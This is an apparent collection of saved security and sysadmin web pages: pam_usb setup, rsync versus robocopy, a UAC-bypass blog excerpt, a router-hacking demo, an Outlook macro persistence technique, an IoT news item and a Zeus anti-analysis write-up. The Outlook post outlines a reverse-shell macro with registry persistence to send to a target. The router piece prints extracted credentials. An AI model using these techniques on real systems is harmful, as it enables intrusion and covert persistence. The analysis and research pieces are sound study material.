                           raise Exception, 'Not a removable device'
    
[/code]

mit \# jeweils auskommentieren.

#### Fehlermeldung beim Ausführen von pamusb-agent

Es kann beim Ausführen von **pamusb-agent** zu folgendem Fehler kommen:

[code]

    Traceback (most recent call last):
    File "/usr/bin/pamusb-agent", line 30, in <module>
    import xml.elementtree.ElementTree as et
    ImportError: No module named elementtree.ElementTree 
    
[/code]

Sollte dies der Fall sein, muss die Datei **/usr/bin/pamusb-agent** gefixt
werden. Dazu öffnet man sie mit Root-Rechten in einem Editor \[3\] und sucht
nach folgender Zeile \(laut Fehlertext Zeile 30\):

[code]

    import xml.elementtree.ElementTree as et
    
[/code]

Diese ändert man in:

[code]

    import xml.etree.ElementTree as et
    
[/code]

Anschließend den **pamusb-agent** normal starten.

Weitere Einstellungen der **/etc/pamusb.conf** sind auf dieser Seite <img
src='img/Temp2_921.png' alt='{en}' /> zu finden:

### Achtung\!

Anmeldung ohne USB-Stick:

Um sich wieder ohne USB-Stick am System anmelden zu können, entfernt man die
Zeile

  * `auth required pam_usb.so`

Ab Jaunty

  * `auth [success=1 default=ignore] pam_usb.so user_first_pass`

aus der Datei **/etc/pam.d/common-auth**.

# Command Line Kung Fu: Episode \#24: Copying and Synchronizing \(Remote\)
Directories

**Created:**| _5/16/2009 10:29:36 AM_  
---|---  
**Updated:**| _5/16/2009 10:29:48 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#24: Copying and Synchronizing \(Remote\) Directories

Hal Says:  
  
Copying files and directories around is a pretty common task, and there are
all sorts of ways to accomplish this in Unix. But I have a strong preference
for using the rsync command because \(a\) it allows me to copy files either
within a single machine or between systems over the network, \(b\) it can keep
directories in sync, preserve timestamps, ownerships, etc, and \(c\) it's
smart enough to only copy files that have changed, which is a big savings on
time and bandwidth.  
  
Basic rsync usage is straightforward:  
  

[code]

    $ **rsync -aH dir1/ dir2/**                              #copy dir1 to dir2 on same machine  
    $ **rsync -aH remotehost:/path/to/dir/ localdir/**       #copy remote dir to local machine  
    $ **rsync -aH dir/ remotehost:/path/to/dir/**            #copy local dir to remote machine  
    $ **rsync -aH dir/ someuser@remotehost:/path/to/dir/**   #copy dir to remote host as someuser
    
[/code]

  
The "-a" option combines the most common rsync options for copying and
preserving directories: "-r" for recursive, "-ptog" to preserve
permissions/timestamps/owner/group owner, "-l" to copy symlinks as symlinks,
and "-D" to preserve device and special files. The only useful option not
included in "-a" is the "-H" option to preserve hard links. Even though "-H"
adds extra processing time, I tend to always use it, just to be on the safe
side.  
  
By the way, the trailing "/" characters on the source directory paths are
significant. I could explain it in words, but it's easier to just show you an
example:  
  

[code]

    $ **ls source**  
     bar.c  baz.c  foo.c  
    $ **rsync -aH source dir1**  
     $ **ls dir1**  
     source  
    $ **rsync -aH source/ dir2**  
     $ **ls dir2**  
     bar.c  baz.c  foo.c
    
[/code]

  
Without the trailing "/", rsync copies the entire directory, including the top
directory itself. With the trailing "/", the _contents_ of the source
directory are put into the top of the destination directory.  
  
If you want to keep two directories in sync, you probably want to include the
"--delete" option, which deletes files in the target directory that aren't
present in the source:  
  

[code]

    $ **rsync -aH source/ target**  
     $ **rm source/foo.c**  
     $ **rsync -aH source/ target**  
     $ **ls target**  
     bar.c  baz.c  foo.c  
    $ **rsync -aH --delete source/ target**  
     $ **ls target**  
     bar.c  baz.c
    
[/code]

  
Sometimes there are certain files that you don't want to copy:  
  

[code]

    $ **ls source**  
     bar.c  bar.o  baz.c  baz.o  foo.c  foo.o  
    $ **rsync -aH --delete --exclude=\*.o source/ target**  
     $ **ls target**  
     bar.c  baz.c  foo.c
    
[/code]

  
Here I'm using "--exclude" to not copy the object files, just the source
files. You can put multiple "--exclude" options on a single command line, but
after a while it gets annoying to keep typing the same set of excludes over
and over again. So there's also an "--exclude-from=<file>" option to read in a
list of exclude patterns from the file "<file>".  
  
rsync also has a "-n" option like the "make" command, which shows you what
would happen without actually copying any files. You usually want to combine
"-n" with "-v" \(verbose\) so you can actually see what rsync would be doing:  
  

[code]

    $ **rsync -aHnv --delete --exclude=\*.o source/ newdir**  
     sending incremental file list  
    created directory newdir  
    ./  
    bar.c  
    baz.c  
    foo.c  
      
    sent 90 bytes  received 24 bytes  228.00 bytes/sec  
    total size is 0  speedup is 0.00 (DRY RUN)
    
[/code]

Ed Joyfully Responds:  
You thought you had me with your fancy shmancy rsync, didn't ya, Hal? Well...
ha\! A couple of years ago, you'd have been right, because there was no good
built-in Windows tool for synchronizing directories. The xcopy command is a
decent file copy too<img src='img/Temp2_1519.jpg' />l, but it doesn't really
police file updates to maintain synchronicity \(and yes, that oblique
reference to "The Police" was intentional\). A couple of years ago, you'd have
to install a separate tool for synchronizing. A really nice tool for doing
that is robocopy, available in various resource kits, such as the Windows 2003
kit here.  
  
But, here's the really good news: robocopy is built-in to Vista and Windows
2008 server\! It's a really nice synchronization tool, and its name is far
cooler than the rather pedestrian "rsync". "Robocopy" sounds like a cool
mechanized buddy, or perhaps even a robotized superhero law enforcement
officer.  
  
So, how can we use robocopy to achieve what Hal does with rsync above? Well,
to mirror from one local directory to another local directory, you could run:  
  

[code]

    C:\> robocopy dir1 dir2 /s
    
[/code]

  
The /s makes robocopy recurse subdirectories. You could put the /s up front,
but, generally speaking, it's best to put the source and destination
directories first with robocopy, especially when you start to define file and
directory exclusions. Note that robocopy cannot copy hard links, so we lose
them \(i.e., there is no rsync -H equivalent\). Note also that robocopy works
the same way whether you specifiy dir1 or dir1/, unlike rsync. That's ok with
me even though it is slightly less flexible, as there is less of a chance that
I'll screw something up.  
  
To use robocopy to replicate something to or from a remote directory, just
refer to the directory as \\\\\[machine\]\\\[share\]\\\[dir\], as you might
expect, as in:  
  

[code]

    C:\> robocopy plans_for_world_domination \\backup\rainbowsANDunicorns /s /z
    
[/code]

Another nice feature associated with using robocopy across a network involves
what happens when network connectivity is lost. If you invoke it the right
way, robocopy maintains status so that it can pick up where it left off when
doing a copy. When you invoke robocopy, use the /z option to run it in
restartable mode. The /z makes it maintain the status information necessary to
restart a copy that is interrupted.  
  
If you want to keep directories in sync \(removing files from the destination
that have been deleted from the source\), you can use the /MIR option \(/MIR
actually means /E plus /PURGE\). As with rsync, robocopy will copy all files
by default. To omit certain files, we have a huge number of exclusion options,
such as /XF to exclude files and /XD to exclude directories, both of which
support wildcards with \*.  
  
Thus, to mimic Hal's fu above, we could run:  

[code]

    C:\> **robocopy****source target** **/S /MIR /XF *.o**  
    
    
[/code]

  
Oh, and to do a dry run, just printing out information about what would be
copied, instead of actually doing the copies, we can invoke robocopy with the
/L option, as in:  
  

[code]

    C:\> **robocopy****source target** **/L /S /MIR /XF *.o**  
    
    
[/code]

If you'd like to copy all file attributes, ownership information, and file
permissions, invoke robocopy with /COPYALL.  
  
The output of robocopy is quite nice as well, showing detailed statistics
about what was copied, what was skipped \(because it was already there, or was
excluded\), detailed times, and a timestamp of invocation and completion:  
  

[code]

    c:\> **robocopy source target /L /S /MIR /XF *.o**  
      
     -------------------------------------------------------------------------------  
    ROBOCOPY     ::     Robust File Copy for Windows  
      
    -------------------------------------------------------------------------------  
      
    Started : Sun Apr 12 07:54:51 2009  
      
    Source : c:\test\source\  
    Dest : c:\test\target\  
      
    Files : *.*  
      
    Exc Files : *.o  
      
    Options : *.* /L /S /E /COPY:DAT /PURGE /MIR /R:1000000 /W:30  
      
    ------------------------------------------------------------------------------  
      
                         4    c:\test\source\  
          New File                   4        bar.c  
          New File                   4        baz.c  
          New File                   4        foo.c  
                         1    c:\test\source\hello\  
      
    ------------------------------------------------------------------------------  
      
              Total    Copied   Skipped  Mismatch    FAILED    Extras  
    Dirs :         2         0         2         0         0         0  
    Files :         5         3         2         0         0         0  
    Bytes :        24        12        12         0         0         0  
    Times :   0:00:00   0:00:00                       0:00:00   0:00:00  
      
    Ended : Sun Apr 12 07:54:51 2009  
    
    
[/code]

  
Yeah, robocopy\!

# Reading Your Way Around UAC \(Part 1\)

**Created:**| _5/28/2017 11:10:05 AM_  
---|---  
**Updated:**| _5/28/2017 11:10:05 AM_  
**Author:**| __  
**Tags:**| _authentication bypass windows environment Design priv\_esc_  
  

  

###  Reading Your Way Around UAC \(Part 1\)

I'm currently in the process of trying to do some improvements to the Chrome
sandbox. As part of that I'm doing updates to my Sandbox Attack Surface
Analysis Toolset as I want to measure whether what I'm doing to Chrome is
having a tangible security benefit. Trouble is I keep walking into UAC
bypasses while I'm there which is seriously messing up the flow. So in keeping
with my previous blog post on a UAC bypass let me present another. As we go
I'll show some demos using the latest version of my NtObjectManager Powershell
module \(so think of this blog as a plug for that as well, make sure you
follow the install instructions on that link before running any of the
scripts\).  
  
I don't recall every seeing this issue documented \(but I'm sure someone can
tell me if it has been\), however MS clearly know, as we'll see in a later
part. Bear in mind this demonstrates just how broken UAC is in its default
configuration. UAC doesn't really help you much even if you prevent the auto-
elevation as this technique works as long as there exists any elevated process
in the same logon session. Let this be a PSA, one of many over the years, that
split-token administrator in UAC just means MS get to annoy you with prompts
unnecessarily but serves very little, if not **_zero_** security benefit.  
  
Before I start I have to address/rant about the "fileless" moniker which is
bandied around for UAC bypasses. My previous blog post said it was a fileless
bypass, but I still had to write to the registry \(which is backed by a file\)
and of course some sort of executable still needs to be running \(which is
backed at some point by the page file\) and so on. Basically all a fileless
bypass means is it doesn't rely on the old _IFileOperation_ tricks to hijack a
DLL. Doesn't mean that at no point would some file end on disk somewhere, I
suppose it's more a DFIR kind of term. Anyway enough, on to technical content.  
  

##  One Weird Design Decision

Oh to be a fly on the wall when Microsoft were designing UAC \(or LUA as it
was probably still known back then\). Many different attack vectors were no
doubt covered to reduce the chance of escalation from a normal user to
administrator. For example Shatter Attacks \(and general UI driving\) was
mitigated using UIPI. COM DLL planting was mitigated by making administrator
processes only use HKLM for COM registrations \(not especially successfully I
might add\). And abusing a user's resources were mitigated using Mandatory
Integrity Labels to prevent write access from Low to High levels.

  

Perhaps there was a super secure version of UAC developed at one point, but
the trouble is it would have probably been unusable. So no doubt many of the
security ideas got relaxed. One of particular interest is that a non-
administrator user can query some, admittedly limited, process information
about administrator processes in the same desktop. This has surprising
implications as we'll see.  
  
So how much access do normal applications get? We can answer that pretty
easily by running the following PS script as a normal split-token admin user.

  

Import-Module NtObjectManager  
  
\# Start mmc.exe and ensure it elevates \(not really necessary for mmc\) Start-Process -Verb runas mmc.exe Use-NtObject\($ps = Get-NtProcess -Name mmc.exe\) \{ $ps | Format-Table -Property ProcessId, Name, GrantedAccess \}  
  
This should result in MMC elevating and the following printed to the PS
console:  
  
ProcessId Name GrantedAccess \--------- \---- \------------- 17000 mmc.exe
Terminate, QueryLimitedInformation, Synchronize  
  
So it shows we've got 3 access rights, _Terminate_ , _QueryLimitedInformation_
and _Synchronize_. This kind of makes sense, after all it would be a pain if
you couldn't kill processes on your desktop, or wait for them to finish, or
get their name. It's at this point that the first _UAC_ design decision comes
into play, there exists a normal _QueryInformation_ process access right,
however there's a problem with using that access right, and that's down to the
default _Mandatory Label Policy_ \(I'll refer to it just as _IL Policy_ from
now on\) and how it's enforced on Processes.  
  
The purpose of _IL Policy_ is to specify which of the Generic Access Rights,
_Read_ , _Write_ and _Execute_ a low _IL_ user can get on a resource. This is
the maximum permitted access, the _IL Policy_ doesn't itself grant any access
rights. The user would still need to be granted the appropriate access rights
in the _DACL_. So for example if the policy allows a lower _IL_ process to get
_Read_ and _Execute_ , but not _Write_ \(which is the default for most
resources\) then if the user asks for a Write access right the kernel access
check will return _Access Denied_ before even looking at the _DACL_. So let's
look at the _IL Policy_ and _Generic Access Rights_ for a process object:  
  
\# Get current process' mandatory label $sacl = $\(Get-NtProcess
-Current\).SecurityDescriptor.Sacl Write-Host "Policy is
$\(\[NtApiDotNet.MandatoryLabelPolicy\]$sacl\[0\].Mask\)" \# Get process
type's GENERIC\_MAPPING $mapping = $\(Get-NtType Process\).GenericMapping
Write-Host "Read:
$\(\[NtApiDotNet.ProcessAccessRights\]$mapping.GenericRead\)" Write-Host
"Write: $\(\[NtApiDotNet.ProcessAccessRights\]$mapping.GenericWrite\)" Write-
Host "Execute:
$\(\[NtApiDotNet.ProcessAccessRights\]$mapping.GenericExecute\)"  
  
Which results in the following output:  
  
Policy is NoWriteUp, NoReadUp Read: VmRead, QueryInformation, ReadControl
Write: CreateThread, VmOperation, VmWrite, DupHandle, \*Snip\* Execute:
Terminate, QueryLimitedInformation, ReadControl, Synchronize  
  
I've highlighted the important points. The default policy for Processes is to
not allow a lower _IL_ user to either _Read_ or _Write_ , so all they can have
is _Execute_ access which as we can see is what we have. However note that
_QueryInformation_ is a _Read_ access right which would be blocked by the
default IL Policy. The design decision was presumably thus, "We can't give
read access, as we don't want lower IL users reading memory out of a
privileged process. So let's create a new access right,
_QueryLimitedInformation_ which we'll assign to _Execute_ and just transfer
some information queries to that new right instead". Also worth noting on
Vista and above you can't get _QueryInformation_ access without also
implicitly having _QueryLimitedInformation_ so clearly MS thought enough to
bodge that rather than anything else. \(Thought for the reader: Why don't we
get _ReadControl_ access?\)  
  
Of course you still need to be able to have access in the _DACL_ for those
access, how come a privileged process gives these access at all? The default
security of a process comes from the _Default DACL_ inside the access token
which is used as the primary token for the new process, let's dump the
_Default DACL_ using the following script inside a normal user PS console and
an elevated PS console:  
  
\# Get process token. Use-NtObject\($token = Get-NtToken -Primary\) \{ $token.DefaultDalc | Format-Table @\{Label="User";Expression=\{$\_.Sid.Name\}\}, @\{Label="Mask";Expression=  
\{\[NtApiDotNet.GenericAccessRights\]$\_.Mask\}\} \}  
  
The output as a normal user:  
  
User Mask \---- \---- domain\user GenericAll NT AUTHORITY\SYSTEM GenericAll NT
AUTHORITY\LogonSessionId\_0\_295469990 GenericExecute, GenericRead  
  
And again as the admin user:  
  
User Mask \---- \---- BUILTIN\Administrators GenericAll NT AUTHORITY\SYSTEM
GenericAll NT AUTHORITY\LogonSessionId\_0\_295469990 GenericExecute,
GenericRead  
  
Once again the important points are highlighted, while the admin _DACL_
doesn't allow the normal user access there is this curious _LogonSessionId_
user which gets _Read_ and _Execute_ access. It would seem likely therefore
that this must be what's giving us _Execute_ access \(as _Read_ would be
filtered by _IL Policy_\). We can prove this just by dumping what groups a
normal user has in their token:  
  
Use-NtObject\($token = Get-NtToken -Primary\) \{ $token.Groups | Where-Object \{$\_.Sid.Name.Contains\("LogonSessionId"\)\} | Format-List \}  
  
Name : NT AUTHORITY\LogonSessionId\_0\_295469990 Sid : S-1-5-5-0-295469990
Attributes : Mandatory, EnabledByDefault, Enabled, LogonId  
  
Yup we have that group, and it's enabled. So that solves the mystery of why we
get _Execute_ access. This was a clear design decision on Microsoft's part to
make it so a normal user could gain some level of access to an elevated
process. Of course at this point you might be thinking so what? You can read
some basic information from a process, how could being able to read be an
issue? Well, let's see how dangerous this access is in Part 2.  
  
  
  
  
  
  

Posted by  tiraniddo at 17:44

  

  *[17:44]: 2017-05-25T17:44:00-07:00

# Episode96 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:38:41 PM_  
---|---  
**Updated:**| _8/5/2009 12:38:53 PM_  
**Author:**| __  
**Tags:**| _Embedded wifi pauldotcom_  
  

# Tech Segment - Attacking A Router: Kyocera-KR1

So, while I was at SANS New Orleans I gave a presentation called "Things That
Go Bump In The Network: Embedded Device Security". This will also be my
presentation for the upcoming SANS webcast. One thing I will not be able to do
in the webcast is give a live demo, which I will demonstration here. When I
first want to explore an embedded device, I start by Nmap'ing the crap out of
it. For this device it looks as follows:

  

[code]

    PORT      STATE SERVICE VERSION
    80/tcp    open  http?
    49152/tcp open  http    Intel UPnP reference SDK httpd 1.2 (UPnP 1.0, platform Linux 2.4.26-uc0)
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
    SF-Port80-TCP:V=4.50%I=7%D=1/14%Time=478BD1E8%P=i386-apple-darwin8.11.1%r(
    SF:GetRequest,EE,"HTTP/1\.0\x20401\x20Unauthorized\r\nServer:\x20Embedded\
    SF:x20HTTP\x20Server\x20RK1008\r\nWWW-Authenticate:\x20Basic\x20realm=\"KR
    SF:1\x20\"\r\nConnection:\x20close\r\n\r\n<HTML><HEAD><TITLE>401\x20Unauth
    SF:orized</TITLE></HEAD>\n<BODY\x20BGCOLOR=\"#ffffff\"><H4>401\x20Unauthor
    SF:ized</H4></BODY></HTML>\n")%r(HTTPOptions,D1,"HTTP/1\.0\x20501\x20Not\x
    SF:20Implemented\r\nServer:\x20Embedded\x20HTTP\x20Server\x20RK1008\r\nCon
    SF:nection:\x20close\r\n\r\n<HTML><HEAD><TITLE>501\x20Not\x20Implemented</
    SF:TITLE></HEAD>\n<BODY\x20BGCOLOR=\"#ffffff\"><H4>501\x20Not\x20Implement
    SF:ed</H4></BODY></HTML>\n")%r(RTSPRequest,D1,"RTSP/1\.0\x20501\x20Not\x20
    SF:Implemented\r\nServer:\x20Embedded\x20HTTP\x20Server\x20RK1008\r\nConne
    SF:ction:\x20close\r\n\r\n<HTML><HEAD><TITLE>501\x20Not\x20Implemented</TI
    SF:TLE></HEAD>\n<BODY\x20BGCOLOR=\"#ffffff\"><H4>501\x20Not\x20Implemented
    SF:</H4></BODY></HTML>\n")%r(FourOhFourRequest,BF,"HTTP/1\.0\x20404\x20Not
    SF:\x20Found\r\nServer:\x20Embedded\x20HTTP\x20Server\x20RK1008\r\nConnect
    SF:ion:\x20close\r\n\r\n<HTML><HEAD><TITLE>404\x20Not\x20Found</TITLE></HE
    SF:AD>\n<BODY\x20BGCOLOR=\"#ffffff\"><H4>404\x20Not\x20Found</H4></BODY></
    SF:HTML>\n")%r(SIPOptions,D0,"SIP/2\.0\x20501\x20Not\x20Implemented\r\nSer
    SF:ver:\x20Embedded\x20HTTP\x20Server\x20RK1008\r\nConnection:\x20close\r\
    SF:n\r\n<HTML><HEAD><TITLE>501\x20Not\x20Implemented</TITLE></HEAD>\n<BODY
    SF:\x20BGCOLOR=\"#ffffff\"><H4>501\x20Not\x20Implemented</H4></BODY></HTML
    SF:>\n");
    MAC Address: 00:15:E9:F3:8C:F2 (D-Link)
    
    
[/code]

So, since I used port 80 to setup the device, its not big news that this port
is open. But, more interesting is TCP port 49152. Which you can see from the
banner appears to be UPnP, even though Nmap doesn't really know how to
fingerprint the service. We can also see the string "Linux 2.4.26-uc0", anyone
know what this string is?

So I sniffed the UPnP traffic and found some more interesting stuff:

[code]

    LOCATION: http://192.168.0.1:49152/gatedesc.xml
    SERVER: Linux/2.4.26-uc0, UPnP/1.0, Intel SDK for UPnP devices /1.2
    ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
    USN: uuid:75802409-bccb-40e7-8e6c-fa095ecce13e::urn:schemas-upnp-org:device:InternetGatewayDevice:1
    HTTP/1.1 200 OK
    CACHE-CONTROL: max-age=1800
    DATE: Mon, 14 Jan 2008 22:12:25 GMT
    EXT:
    
    
[/code]

Now, previous to the I was trying to browse to http://192.168.0.1:49152 and
was met with a 404 error. But using a UPnP client tester thinger \(from
gnucitzens blog posting\) I was able to trigger the mechanism \(a term I use
with my wife ;-\) and see that "gatedesc.xml" was the magic filename that
contained more information. You can see that it also confirms the kernel
version. This appears to be some form of TCP based UPnP.

So, then the web interface lets you export the firmware file. Using my super
31337 reverse engineering skillz I was able to gleen some information:

[code]

    pdc-6:~/KR1-hacking paulda$ strings config.bin 
    #777
    #777
    admin
    zehcnasytrid
    user
    Virtual Server FTP
    Virtual Server HTTP
    Virtual Server HTTPS
    Virtual Server DNS
    Virtual Server SMTP
    Virtual Server POP3
    Virtual Server Telnet
    IPSec
    PPTP
    NetMeeting
    Virtual Server FTP
    Virtual Server HTTP
    Virtual Server HTTPS
    Virtual Server DNS
    Virtual Server SMTP
    Virtual Server POP3
    Virtual Server Telnet
    IPSec
    PPTP
    NetMeeting
    Battle.net
    6112
    Dialpad
    51200-51210
    ICU II
    2000-2085
    MSN Gaming Zone
    28800-29000
    PC-to-Phone
    12120-12122
    Quick Time 4
    6970-6999
    Battle.net
    6112
    Dialpad
    51200-51210
    ICU II
    2000-2085
    MSN Gaming Zone
    28800-29000
    PC-to-Phone
    12120-12122
    Quick Time 4
    6970-6999
    -08:00
    time.nist.gov
    time.nist.gov
    ntp1.dlink.com
    WLAN1
    iwantabeardjustlikemikepoor
    WLAN2
    Realtek AP2
    
    
[/code]

You can see that the username is "admin" and the password is listed below.
Also you can see the string "iwantabeardjustlikemikepoor", which is the WPA
key. Note: encrypt you firmware backups. A popular web camera and other
devices run the same OS.

  

# Persistence using Microsoft Outlook | enigma0x3
**Created:**| _10/24/2014 7:12:18 PM_  
---|---  
**Updated:**| _10/24/2014 7:12:18 PM_  
**Author:**| __  
**Tags:**| __  
  

# Persistence using Microsoft Outlook

As you know, Microsoft Office is one of the most used productivity suites in
the game. Just about every enterprise uses Outlook as their email client. In
the hunt for obscure ways to persist on a machine, I created this.

Before I begin, I want to give a shout-out to Matt Graeber. Matt is an amazing
researcher and he came up with Invoke-Shellcode, which is used in this method.
Give him a follow on Twitter https://twitter.com/mattifestation

This type of attack is a Macro attack. The way this works is there is a
Powershell script that runs 24/7 on the machine, which checks the default
inbox for your email address and a specified subject at a given interval. When
it sees your email, it shovels you a shell and deletes that email. I have made
both the attack macro and the persist Powershell script available on Github:
https://github.com/enigma0x3/OutlookPersistence. There are 4 functions in the
macro.

Execute: Upon opening the document, it uses Invoke-Shellcode to shovel you a
shell

Persist: This function writes a text file to C:\Users\Public, changes the
extension to .vbs and sets the attributes to hidden. This .vbs file is a
wrapper that executes Powershell and passes Persist.ps1 to it.

Reg: This function creates a registry key in HKCU\Software\Microsoft\Windows
NT\CurrentVersion\Windows\Load that points to the hidden .vbs file. This
ensures that the Powershell script starts back up after a reboot.

Start: This starts the script immediately

<img src='img/Temp2_6213.png' alt='1' />

To execute this, you create a document with a VBA macro and paste in the macro
code \(you need to update the IP address that your multi/handler is listening
on\). You then pull down Persist.ps1 and throw it on a public server. Once it
is accessible, you need to change the email address, trigger word and IP
address. Save the file and send the document off to the target. That is it.

Here is a demo:

https://www.youtube.com/watch?v=yjZgno54o1c&feature=youtu.be

About these ads

Loading...

Bookmark the permalink.

# Internet of Things creating new challenges for cyber-security | NDTV Gadgets
**Created:**| _1/13/2014 8:41:08 PM_  
---|---  
**Updated:**| _1/13/2014 8:41:08 PM_  
**Author:**| __  
**Tags:**| _Embedded automation_  
  

#

Internet of Things creating new challenges for cyber-security****

Agence France-Presse, January 13, 2014

<img src='img/Temp2_4495.jpg' alt='internet-tv-ap-635x475.jpg' />

  
  
The hackers who got into your computer or smartphone are now taking aim at the
Internet of Things**.**

The connected toothbrush, sports gear with embedded sensors and smart
refrigerators are just a few of the objects showcasing innovations at the
Consumer Electronics Show**.**

They are all impressive but "they're all breachable" said Kevin Haley,
director of Symantec Security Response, while attending the huge high-tech
trade show**.**

"If the object is connected to the Internet, you will find it, and if it has
an OS \(operating system\) you can hack it," he told AFP at the Las Vegas
expo**.**

Haley said the pace of innovation could outstrip the security protecting the
devices**.**

"As we start to bring all this new stuff in our houses, we're going have to
take some responsibility," he said**.**

The devices displayed the CES show included an array of gear from a connected
basketball to baby clothing which monitors an infant's breathing and
positioning**.**

And security researchers have shown the possibility, at least in theory, of
hacking into automobile electronics or medical devices like pacemakers**.**

Catalin Cosoi, chief security strategist at the firm Bitdefender, said the
threat remains mostly theoretical for now**.**

"I don't think the bad guys have understood the benefits for them of making
use of such things yet," he said**.**

But Cosoi said some new hack in inevitable which could cause people to take
notice**.**

"We're definitely going to see something happening this year we might see the
first collateral victim, a person being physically harmed," he added**.**

The introduction of Internet-enabled door locks at CES  poses the obvious
question of whether the devices can be compromised by hackers**.**

Alex Colcernian, director of product development at Unikey, which powers
Kwikset remote-control locks, said the technology includes "military grade
encryption" to stay secure**.**

Leo Herlin of French-based Medissimo, which introduced a smart pill box, said
the system is "extremely secure" to prevent unwanted intrusions**.**

One factor that mitigates the risk is that with billions of objects likely to
be connected, the value to hackers could be limited in most cases: would a
hacker penetrate a refrigerator to steal someone's grocery list**?**

"You've got to be smart consumers when you're using a smart device," said
Randy Overton, national product trainer for South Korean giant LG, which
showed off its smart appliances that can communicate by text message with the
owner**.**

To allay potential concerns, computer chip giant Intel announced at CES that
it would offer its McAfee security service for connected devices free of
charge,**.**

Intel chief executive Brian Krzanich told a CES keynote that offering this
level of security would "allow this ecosystem to flourish**.** "

Equipment maker Cisco estimates that 50 billion objects worldwide will be
connected by 2020**.**

"It is impossible to put security software on every object," said Cisco's
David Orain**.**

The answer is to look and address "abnormal activity" linked to the connected
devices, said Orain, noting that this is part of what Cisco offers
clients**.**

One of the areas where security concerns are paramount are in industrial
applications**.**

Andreas Haegele of the France-based digital security firm Gemalto said
electronic tracking has been done for decades for things like shipping
containers and petroleum platforms, and that the security of these objects is
now in focus**.**

US cybersecurity officials have also stepped up warnings for hacking into so-
called critical infrastructure like pipelines and power grids**.**

Symantec's Haley said that last month's publicized hacking into a nanny cam
drew headlines but that no real damage was done**.**

But the same technique could be used for industrial espionage**.**

"If I can break into the security cameras of my competitor's factory, I can
see exactly how the factory works," Haley said**.**

Stay in touch with the latest from CES 2014, via our CES page **.**  
  

<img src='img/Temp2_4494.jpg' />

CES 2014 - World's biggest tech event in pics ****

# Zeus - 6 ways in which it avoids analysis - TrustDefender

**Created:**| _5/2/2011 7:30:57 PM_  
---|---  
**Updated:**| _5/12/2011 12:44:04 PM_  
**Author:**| __  
**Tags:**| _botnets Malware-analysis Obfuscation_  
  

# Zeus - 6 ways in which it avoids analysis

Written by Andreas Baumhof Wednesday, 02 March 2011 09:55

<img src='img/Temp2_10044.gif' alt='Attention: open in a new window.' /> <img
src='img/Temp2_10047.gif' alt='Print' />

# **<img src='img/Temp2_10043.gif' />**

How Zeus tries to make life hard for researchers.A recent post on a security
mailing list caught my eye. It was about a Zeus version, 2.0.9.0, which I had
not seen before, so I thought I would take a look at the sample. When I ran it
in my analysis environment, nothing happened. No network traffic. No files
dropped. No registry entries changed. Nothing\! What was happening? For a
split second, I wondered if the sample was corrupt. Then I had another idea.
One of TrustDefender’s predictions for 2011 was that more malware would
attempt to make researcher’s lives harder by refusing to run in an analysis
environment. Was this such a sample? I decided to take a closer look.

# **First Steps**

The first task was to unpack the sample.

The first layer of unpacking allocates memory at 180000, unpacks code there,
then transfers to location 189501 using a _retn 50_ instruction.

<img src='img/Temp2_10049.gif' />

**Figure 1- Layer one end of control**

The second layer of code unpacks itself. It then transfers to location 4173d5
by stuffing the stack with this address, then using a _‘jmp’_ instruction to
_‘call’_ the VirtualFree system call. So far, fairly normal operation without
any nasty tricks.

<img src='img/Temp2_10048.gif' />

**Figure 2- End of layer 2**

This takes us to the inner layer of code, so now it’s time to investigate
further to find why Zeus is not running. After a short time tracing through
the program the culprit is found. A subroutine is called, and if the _al
register_ is set to 1 on return, the program terminates. So what does this
subroutine do?

# **Anti researcher**

The subroutine itself is very small. It pushes the addresses of six more
subroutines onto the stack then loops round, calling them all. If any of the
routines returns non zero in the _al register_ the routine returns with the
_al register_ set to 1. Otherwise the _al register_ is set to zero. These
routines turn out to be the anti-researcher code. The bad news is that this
modular design will make it very easy for the Zeus authors to add more anti-
researcher code in the future – just write a small routine, push its address
onto the stack, and update the loop count. The good news is that ordinary home
users using virtual machine technology will be automatically protected against
this type of malware, because it will simply refuse to run. Similarly
corporate users using VDI \(virtual desktops\) will also be protected.

**Figure 3- Anti-researcher loop**

# **Trick 1**

The first routine tries to load a dll called _SbieDll.dll_. If it succeeds,
Zeus aborts. _Sbiedll.dll_ is a dll used by the sandboxie program
\(_www.sandboxie.com_\). This is a sandbox program that Zeus obviously wants
to avoid.

# **Trick 2**

This routine tries to create a mutex called _Frz\_State_. If this fails
because the mutex already exists then Zeus aborts. I was initially unable to
trace which program uses this mutex. However, a helpful fellow researcher
pointed me to DeepFreeze, a security program which restores your system on
each reboot. Zeus obviously does not like this particular security program.

# **Trick 3**

The third routine tries to open a file called _\\\\.\NPF\_NdisWanIp_. If it
succeeds then Zeus aborts. My assumption here is that Zeus is trying to check
for applications which are trying to capture network traffic.

# **Trick 4**

This next routine checks for two files _\\\\.\HGFS_ and _\\\\.\vmci_. These
are ‘Host Guest File System’ and ‘Virtual Machine Communication Interface’,
files used by Virtual Machines such as VMWare. If either is found, Zeus
terminates. Zeus obviously does not want to be run inside a virtual machine.

<img src='img/Temp2_10045.gif' />

**Figure 4- Virtual machine checks**

# **Trick 5**

This routine checks for the file _\\\\.\VBoxGuest_ and terminates if it is
found. This file is used by Virtual Box, a virtual machine platform from Sun.
Again, Zeus obviously does not want to be run inside a virtual machine.

# **Trick 6**

The last routine checks for the file C:\popupkiller.exe and terminates if
found. This is a program created by xFX jumpstart, and tries to bock popup
ads. This is a slightly unusual program to abort for – it is not likely to be
used by researchers. Perhaps it interferes with the operation of Zeus.

# **String Hiding**

Even though Zeus is protected with two layers of encryption the author has
still taken care to obscure strings which could give clues to the program
purpose – after all, a researcher seeing a string such as _\\\\.\HGFS_ would
immediately guess there might be some anti virtual-machine code somewhere and
then look for references to that string to find the code. All strings used in
the six subroutines – and in fact, a large number of other strings – are
protected by an xor-based scheme, and only decrypted onto the stack for the
short time they are used.

<img src='img/Temp2_10046.gif' />

**Figure 5- String decryption**

  

# **Conclusion**

We expected to see anti-researcher code in 2011, but it was still a surprise
to encounter the first example. We will see more of this type of code, because
the harder it is to analyse, the more successful a piece of malware is likely
to be. Still, as I have shown in the above article, analysis is not
impossible, and once you know what the malware is looking for, it is possible
to defeat its protection and analyse the sample as normal.

# EIEIO Homepage

**Created:**| _10/28/2009 6:02:18 PM_  
---|---  
**Updated:**| _10/28/2009 6:02:26 PM_  
**Author:**| __  
